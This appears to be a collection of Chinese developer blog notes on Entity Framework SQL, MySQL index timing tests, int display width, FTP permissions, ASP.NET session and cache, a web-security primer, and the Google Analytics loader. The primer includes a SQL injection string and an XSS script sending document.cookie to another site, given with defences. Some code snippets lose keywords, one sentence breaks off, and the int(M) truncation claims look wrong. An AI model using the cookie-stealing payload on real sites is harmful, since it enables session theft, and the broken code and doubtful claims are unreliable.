一: 执行sql语句,返回受影响的行数

在mysql里面,如果没有影响,那么返回行数为  -1 ,sqlserver 里面  还没有测试过

 (var ctx =  MyDbContext())
{
    ctx.Database.ExecuteSqlCommand("");
}

二 : Database.SqlQuery<T>   EF5执行sql查询语句 Database.SqlQuery 带返回值

这个准确的说是  IEnumerable<T> SqlQuery<T>(string sql, params object[] parameters)  ,注意返回值是 IEnumerable

这个是执行sql语句,返回你想要的类型的列表

dbMain.Database.SqlQuery<int>("select max(UserId) from tb_user_account").First();

或者假如你自己有个类别

  PersonView
{      PersonID { ; ; }      Name { ; ; }
}

那么就可以直接返回这个 PersonView类

 (var ctx =  MyDbContext())
{
    var peopleViews = ctx.SqlQuery<PersonView>("").ToList();
}

直接返回你想要的数据. 例如这里是 List<PersonView> 列表

本文未完成，部分测试方法、条件或结果可能有误，请谨慎参考！ :)

本文基于 MySQL 的 InnoDB BTREE 方法的索引进行测试。

以一张包含 2000 万条记录的表做实验：

CREATE TABLE `dt_read`  (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `time` datetime(0) NOT NULL,
  `a_id` int(11) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE
);

这张表是用于记录文章点击量的，

`id` 为主键，int(11) 自增；

`time` 为非空 datetime，表示文章打开时间，测试数据是从 2017-03-11 至 2018-04-28；

`a_id` 为非空 int(11)，表示文章 ID，在此表中不唯一，测试数据是从 1 至 260218。

体验“全表扫描”

首先来体验一下什么是全表扫描，执行下面语句：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' LIMIT 10

> 时间: 0.012s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 7.317s

表中数据是按主键从小到大排列的，当查询条件为 `time` < '2020-1-1' 时，能很快地从表的前端找到 10 条满足条件的数据，所以不再继续判断后面的记录，立刻返回结果，耗时 0.012 秒；但当条件改为 `time` < '2000-1-1' 时，同样逐条判断，直到最后一条也没有找到，这种情况就是所谓的“全表扫描”，耗时 7 秒。

索引对 ORDER BY 的 ASC 和 DESC 的影响

我们给 `time` 建一个索引，同样执行刚才需要全表扫描的语句：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' LIMIT 10

> 时间: 0.012s

创建 `time` 的索引后，相当于生成了一张按 `time` 字段排列的新表，这时 MySQL 就能够很快地定位并找到符合条件的记录，避免了全表扫描。

试试按 `time` 倒序排：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `time` DESC LIMIT 10

> 时间: 0.013s

结论：索引对 ORDER BY 的顺序（ASC）和倒序（DESC）都是有效的。

索引字段的次序对 WHERE 和 ORDER BY 的影响

删除所有索引，创建一个新的索引，字段依次为 `time`, `a_id`。

分别执行以下查询：

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 AND `time` < '2000-1-1' LIMIT 10

> 时间: 0.013s

结论：MySQL 会自动优化 WHERE 条件的次序来匹配最合适的索引。

但在 ORDER BY 中却不是这么回事了：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id`, `time` LIMIT 10

> 时间: 14.066s

原因也很好理解，对两个字段进行排序，先后次序肯定会影响结果集，因此只能以 SQL 语句指定的字段次序来 ORDER BY，这样，按索引的字段次序进行 ORDER BY 查询无疑是更快的。

索引中的字段必须依次使用

保持上例创建的索引不变，即 `time`, `a_id`。

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' AND `a_id` < 0 LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 LIMIT 10

> 时间: 6.438s

上句合理利用了索引的字段，而下句跳过了 `time`，直接 WHERE 了 `a_id`，这是不受该索引支持的。

我们可以想象一下这张由索引生成的虚拟表，其实就是一张普通的平面二维表格，按索引指定的字段次序进行了排序，所以全表中仅仅是索引指定的第一个字段是按大小排列的，第二个字段是在第一个字段值相同的区域内按大小排列，后同。所以，跳过索引指定的第一个字段直接对第二个字段进行检索，是无法应用该索引的。这个结论也同样也体现在 ORDER BY 语句中：

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 29.566s

WHERE 和 ORDER BY 混合

保持上例创建的索引不变，即 `time`, `a_id`。

先来执行这两句：

SELECT * FROM `dt_read` ORDER BY `a_id` LIMIT 10

> 时间: 12.29s

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

仅仅 WHERE 了一个 `time`，对 ORDER BY `a_id` 的效率却有质的提升，是因为 WHERE 中的 `time` 和 ORDER BY 中的 `a_id` 一起找到了索引吗？答案是否定的。

我们把时间改大，让它能马上找到符合条件的数据：

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 22.34s

为什么这个语句就不走索引了呢？

其实，一个简单的 SELECT 查询语句，首先执行 WHERE，然后 ORDER BY，最后是 LIMIT。每一步都独自去找了索引，而非 WHERE 和 ORDER BY 混在一起去找索引。必须保证每一步是快的，最终才是快的。

当 `time` < '2000-1-1' 时，WHERE 用到了索引，所以很快，ORDER BY 却没有用到索引，但为什么也很快呢？因为 WHERE 的结果集非常小（示例中为 0 条）。

当 `time` < '2020-1-1' 时，WHERE 也用到了索引，但其结果集非常大（示例中为所有记录），再 ORDER BY `a_id` 就非常慢了，因为我们没有创建以 `a_id` 开头的索引。

现在把索引改成只有 `time` 一个字段。

SELECT * FROM `dt_read` WHERE `time` < '2020-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 6.033s

因为索引里有 `

SELECT * FROM `dt_read` WHERE `time` < '2000-1-1' ORDER BY `a_id` LIMIT 10

> 时间: 0.013s

SELECT * FROM `dt_read` WHERE `a_id` < 0 ORDER BY `time` LIMIT 10

> 时间: 6.033s

第二句先 WHERE `a_id`，后 ORDER BY `time` 是不能匹配所建的索引的。

索引中的字段越多越好

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

本例使用 ORDER BY 而不是 WHERE 来测试是因为，在 WHERE 的多个条件下，如果符合前一条件的筛选结果集过小会导致判断第二条件时数据量不足，无法判断索引是否起作用。

SELECT * FROM `dt_read` ORDER BY `time` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 0.013s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.013s

SELECT * FROM `dt_read` ORDER BY `time`, `a_id` LIMIT 10

仅创建索引（`time`）的情况下：

> 时间: 15.015s

仅创建索引（`time`, `a_id`）的情况下：

> 时间: 0.014s

可以看到，在索引字段依次使用的前提下，索引字段数不少于查询字段数才能避免全表扫描。

虽然索引中的字段越多越好，但必须依次使用，否则也是无效索引。

索引对 INSERT / UPDATE / DELETE 的效率影响

分别在创建索引（`time`）和索引（`time`, `a_id`）的情况下执行下面语句：

INSERT INTO `dt_read` (`time`, `a_id`) VALUES ('2018-4-28', 260218)

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

UPDATE `dt_read` SET `time` = '2018-4-28' WHERE `id` = 20000000（注：存在该 id 值的记录）

不建索引的情况下：

> 时间: 0.01s

仅创建索引（`time`）的情况下：

> 时间: 0.01s

同时创建索引（`time`）和索引（`time`, `a_id`）的情况下：

> 时间: 0.01s

虽然在 INSERT / UPDATE / DELETE 时数据库会更新索引，但从实测数据来看，索引对其效率的影响可忽略不计。

一些误区

“in 语法效率很低”?

in 语法也是应用索引的，网传 in 会比一个一个 WHERE OR 要慢得多的说法是不靠谱的。in 主键和 in 索引同理。

另外：

对于字符串类型，LIKE '%abc%' 是不能应用索引的，但 LIKE 'abc%' 可以。更多关于字符串类型的索引，请查阅全文索引（FULLTEXT）。

索引的字段是可以指定长度的，类似字符串索引指定前面若干唯一字符就可以优化效率。

本文系个人实践总结，欢迎批评指正！

在 MySQL 中，int 的取值范围是 [-2147483648, 2147483647]，占用 4 个字节。

int(M) 中 M 的默认值为 11，该值不影响取值范围和占用字节，仅表示最大显示宽度。

以某 int 字段存储的记录值为 2147483647 为例：

类型为 int(1) 时，SELECT 结果为 214
类型为 int(2) 时，SELECT 结果为 2147
……
类型为 int(7) 时，SELECT 结果为 214748364
类型为 int(8) ~ int(11) 时，SELECT 结果为 2147483647

测试结果跟网上的说法不同

如果添加了 zerofill 属性，当然是填充零的效果，仍以上述值为例：

类型为 int(1) 时，SELECT 结果为 214
类型为 int(2) 时，SELECT 结果为 2147
……
类型为 int(7) 时，SELECT 结果为 214748364
类型为 int(8) ~ int(10) 时，SELECT 结果为 2147483647
类型为 int(11) 时，SELECT 结果为 02147483647

结论，既然 M 值不影响取值范围和占用字节，那么何必去改它呢。除非有特殊业务需求，否则很容易引起逻辑混乱，特别是当你误认为它是用来限定取值范围或节省存储空间的时候。

未进行完整的测试和分析，总结有误请指正。

对于具体化的查询结果，不支持该方法。

This method is not supported against a materialized query result.

可能对嵌套查询的子结果集进行 Count() 等操作，可以在内部 select 外套一层 .ToList()，我在万条记录中测试不影响执行时间，但没有具体分析生成的 SQL 语句和执行跟踪。

网站的“防跨站攻击”默认是开启的，对应网站根目录下存在 .user.ini 文件，可阻止该网站程序读写网站目录外的文件或目录。

通过 FTP 上传或通过 PHP 创建的文件（夹）的用户（组）都是 www:www，目录权限 755，文件权限 644

PHP 不需要“执行”权限，因为这个“执行”权限是针对 sh 的

因此 PHP 在该站任何位置具有写入权限

理想的权限控制是：pure-ftp 使用另外的用户（组），譬如 ftp:ftp

这样使用 www:www 的 PHP 就无法随意创建文件，只能在开放了“公共权限”中的“写入”权限的目录中创建。

查看系统用户组：cat /etc/group

查看系统用户：cut -d : -f 1 /etc/passwd

查看 pure-ftp 帮助：

/www/server/pure-ftpd/bin/pure-pw --help

修改 FTP 用户的所有者和组：

/www/server/pure-ftpd/bin/pure-pw usermod FTP用户名 -u 所有者 -g 组

重启 pure-ftp

上述命令经简单测试并没有更改 FTP 用户的所有者和组……

退而求其次的做法是通过 SSH 用 root 来上传网站程序代码，并开放上传目录的“写入”权限

还有重要的一点，在网站的配置文件中禁止这些有“写入”权限的目录中的 PHP 运行权限！（参：在 CentOS (Linux) 中设置目录写入权限，并禁止执行 php）

1. 在 NuGet 中安装 Microsoft.AspNetCore.Session 和 Newtonsoft.Json

2. 打开 Startup.cs，在 ConfigureServices 方法中加入（视情况配置相关属性）

   services.AddSession(options =>
   {
       // 设置了一个较短的时间，方便测试
       options.IdleTimeout = TimeSpan.FromSeconds(10);
       options.CookieHttpOnly = true;
   });

3. 在 Configure 方法中加入

   app.UseSession();

4. 添加 Extensions 文件夹并添加类 SessionExtensions.cs

   using Microsoft.AspNetCore.Http;
   using Newtonsoft.Json;
   
   public static class SessionExtensions
   {
       public static void Set<T>(this ISession session, string key, T value)
       {
           session.SetString(key, JsonConvert.SerializeObject(value));
       }
   
       public static T Get<T>(this ISession session, string key)
       {
           var value = session.GetString(key);
           return value == null ? default(T) :
                                 JsonConvert.DeserializeObject<T>(value);
       }
   }

5. 使用方法

   HttpContext.Session.Set("abc", 123);
   var v1 = HttpContext.Session.Get<int>("abc");
   HttpContext.Session.Remove("abc");
   var v2 = HttpContext.Session.Get<int>("abc");
   // v1 = 123, v2 = 0

经测试，.NET Framework 4.8 的 Cache.Insert() 已恢复正常。

安装 .NET Framework 4.7 后，不管项目有没有升级到 .NET Framework 4.7，使用 Cache.Insert() 添加的自动过期的缓存都不会过期了，可以使用 Cache.Add() 来解决！

使用 Cache.Insert() 例：

HttpRuntime.Cache.Insert(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration);

改为使用 Cache.Add()：

HttpRuntime.Cache.Add(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, CacheItemPriority.Default, null);

如果 Cache 中已保存了具有相同 key 的项，则调用 Add 方法将不作任何更改。（Insert 方法则会覆盖该值）

完整测试代码：

public static DateTime DateTimeNow
{
    get
    {
        if (HttpRuntime.Cache["DateTimeNow"] == null)
        {
            HttpRuntime.Cache.Add("DateTimeNow", DateTime.Now, 
                null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, 
                CacheItemPriority.Default, null);
        }
        return Convert.ToDateTime(HttpRuntime.Cache["DateTimeNow"]);
    }
}

在部分项目中（如 .NET Framework 4 项目中）发现上述改动仍不起作用，不会自动过期，那么可以采用以下方法：

方法一、可以记录将数据添加到 Cache 的时间，获取数据时判断该时间，超时则清除该 Cache 并重新赋值；

方法二、放弃缓存依赖，用定时器清除 Cache 数据。

互联网项目里边，SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说，有一个接受参数为 id 的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下，Request["ID"] 为数字，这条 SQL 能很好地工作。如果我们认为修改 Request["ID"]，将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL：

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句，参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接 SQL 前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的单引号进行转义。

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入，那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入，XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝；3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说，假设页面输出为：

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值，并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种，一种是上述例子中利用 url 引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode（或者在输出时进行 encode）。如果需要使用富文本编辑的，可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例，如果 ID 为 1 是合法的可访问的数据，可以通过尝试 ID=2，ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为 ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应 ID 数据的访问、修改权限；如果 ID 已经是自增类型且不需要登录，可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数，还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

最近要做个简单的类似 CNZZ 和百度统计的统计器，不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后，在 Chrome 的控制台发现以下警告：

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释，是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM，建议改成 document.appendChild() 或 parentNode.insertBefore()，最好的例子就是 Google Analytics。

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释，便于理解，官方英文版。

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga']，定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳，写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本（文档中肯定至少已有一个脚本了）
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器（我自己加的）
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是：

创建了一个 <script> 元素，并异步加载 http://***/***.js；初始化了一个全局函数 ga；在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了，示例：

;(function () {
  console.log(ga.q);
})(window);

简单补充下，async 是 HTML5 属性，使支持异步加载 JS 文件；defer 只支持 IE，作用类似。

测试异步只需要将 js 文件换成服务端页面，并人为设置 sleep 时间即可，阻塞式调用的话会在加载 js 时暂停后续页面的渲染。